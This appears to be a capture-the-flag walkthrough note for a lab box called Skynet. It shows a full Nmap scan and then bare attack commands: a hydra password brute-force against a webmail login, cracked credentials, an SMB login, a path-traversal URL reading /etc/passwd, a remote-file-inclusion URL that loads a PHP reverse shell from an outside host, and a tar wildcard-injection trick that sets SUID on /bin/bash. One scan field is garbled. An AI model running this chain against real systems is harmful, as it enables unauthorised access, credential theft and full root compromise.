Skynet

March 25, 2024

# Nmap 7.94 scan initiated Mon Mar 25 14:45:05 2024 as: nmap -sC -sV -v -oN nmap 10.10.101.134
Nmap scan report for 10.10.101.134
Host is up (0.31s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT    STATE SERVICE                                              VERSION
22/tcp  open  ssh                                                  OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)
|   256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)
|_  256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519)
80/tcp  open  http                                                 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Skynet
110/tcp open  pop3                                                 Dovecot pop3d
|_pop3-capabilities: TOP SASL CAPA AUTH-RESP-CODE PIPELINING UIDL RESP-CODES
139/tcp open  netbios-ssn                                          Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap                                                 Dovecot imapd
|_imap-capabilities: LOGIN-REFERRALS IDLE have SASL-IR more listed post-login ID OK IMAP4rev1 ENABLE LITERAL+ LOGINDISABLEDA0001 capabilities Pre-login
445/tcp open  W/5UjDumVQ7zIyWdstNAm+lkpZ23Iz3t8joaLcfs8nYCpMGa/xk= Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h40m23s, deviation: 2h53m13s, median: 22s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: skynet
|   NetBIOS computer name: SKYNET\x00
|   Domain name: \x00
|   FQDN: skynet
|_  System time: 2024-03-25T01:46:20-05:00
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-03-25T06:46:20
|_  start_date: N/A
| nbstat: NetBIOS name: SKYNET, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   SKYNET<00>           Flags: <unique><active>
|   SKYNET<03>           Flags: <unique><active>
|   SKYNET<20>           Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 25 14:46:09 2024 -- 1 IP address (1 host up) scanned in 63.26 seconds
hydra -l milesdyson -P log1.txt 10.10.101.134 http-post-form "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown user or password incorrect."
milesdyson:cyborg007haloterminator
)s{A&2Z=F^n_E.B`
balls have zero to me to me to me to me to me to me to me to me to
smbclient -U milesdyson \\\\10.10.161.54\\milesdyson
http://10.10.161.54/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
http://10.10.161.54/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.9.193.229:8000/php-reverse-shell.php
printf '#!/bin/bash\n chmod +s /bin/bash' > shell.sh
touch /var/www/html/--checkpoint=1
touch /var/www/html/--checkpoint-action=exec=bash\ shell.sh

Last updated